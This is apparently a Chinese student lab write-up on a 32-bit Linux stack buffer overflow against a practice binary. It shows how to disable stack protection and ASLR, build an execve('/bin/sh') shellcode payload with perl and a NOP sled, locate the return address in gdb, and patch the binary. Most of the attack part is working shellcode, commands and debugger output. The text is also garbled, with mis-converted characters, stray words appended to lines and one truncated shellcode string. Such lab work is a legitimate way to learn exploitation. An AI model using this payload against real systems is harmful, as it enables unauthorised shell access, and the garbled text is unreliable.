首先先準備一段C語言代碼:這段代碼其實和咱們的shell功能基本同樣
shell
爲了以後可以看到反彙編的結果,此次採用的靜態編譯。正常返回shell。sass
通過一系列的工做咱們能夠獲得這段注入的shellcode代碼的反彙編結果(這些代碼能夠在網上下載,這裏感謝一下許心遠同窗)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
dom
修改些設置。ssh
root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行 root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
在使用execstack
命令時,須要先安裝:apt-get install execstack
!!!ui
Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。。由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊spa
root@KaliYL:~/exercise1# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。
特別提醒:最後一個字符千萬不能是\x0a。\x0a至關於回車鍵,若回車了下面的操做就作不了了。調試
接下來咱們來肯定\x4\x3\x2\x1到底該填什麼。code
打開一個終端注入這段攻擊buf:blog
root@KaliYL:~/exercise1# (cat input_shellcode;cat) | ./pwn2
������1�Ph//shh/bin��PS��1Ұ
�進程
再開另一個終端,用gdb來調試pwn2這個進程。
1.找到pwn2的進程號是:1743 root@KaliYL:~/exercise1# ps -ef | grep pwn2 root 1743 1577 0 16:25 pts/0 00:00:00 ./pwn2 root 1745 1708 0 16:25 pts/1 00:00:00 grep pwn2
2.啓動gdb調試這個進程 root@KaliYL:~/exercise1# gdb (gdb) attach 1743 Attaching to process 1743 3. 經過設置斷點,來查看注入buf的內存地址 (gdb) disassemble foo .... 0x080484ad <+28>: leave 0x080484ae <+29>: ret //斷在這,這時注入的東西都大堆棧上了 //ret完,就跳到咱們覆蓋的retaddr那個地方了 End of assembler dump. (gdb) break *0x080484ae Breakpoint 1 at 0x80484ae //在另一個終端中按下回車,這就是前面爲何不能以\x0a來結束 input_shellcode的緣由。 (gdb) c Continuing. Breakpoint 1, 0x080484ae in foo () (gdb) info r esp ...
注意看這裏和老師的不同!
(gdb) x/16x 0xffffd2fc //從這開始就是咱們的Shellcode 0xffffd2fc: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873 0xffffd30c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b 0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000 0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4 0xffffd3cc (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x01020304 in ?? () //這個返回地址佔位也是對的 (gdb) quit 4.將返回地址改成0xffffd300。 root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
按照老師給的順序盲目的作:
root@KaliYL:~# perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode .........
給你們一個信息,上面這段注入的代碼時在個人電腦上是不可行..(累得我頭皮發麻!!),在個人堆棧上面返回的地址並非0xffffd320
,而是0xffffd330
(爲何?),須要把20d3
改爲30d3
。
root@KaliYL:~# vi pwn2 如下操做是在vi內 1.按ESC鍵 2.輸入以下,將顯示模式切換爲16進制模式 :%!xxd 3.查找要修改的內容 /20d3 4.找到後先後的內容和反彙編的對比下,確認是地方是正確的 5.修改20爲30 6.轉換16進製爲原格式 :%!xxd -r 7.存盤退出vi :wq
可是以上實踐是在很是簡單的一個預設條件下完成的:
(1)關閉堆棧保護(gcc -fno-stack-protector)
(2)關閉堆棧執行保護(execstack -s)
(3)關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32環境下
(5)在Linux實踐環境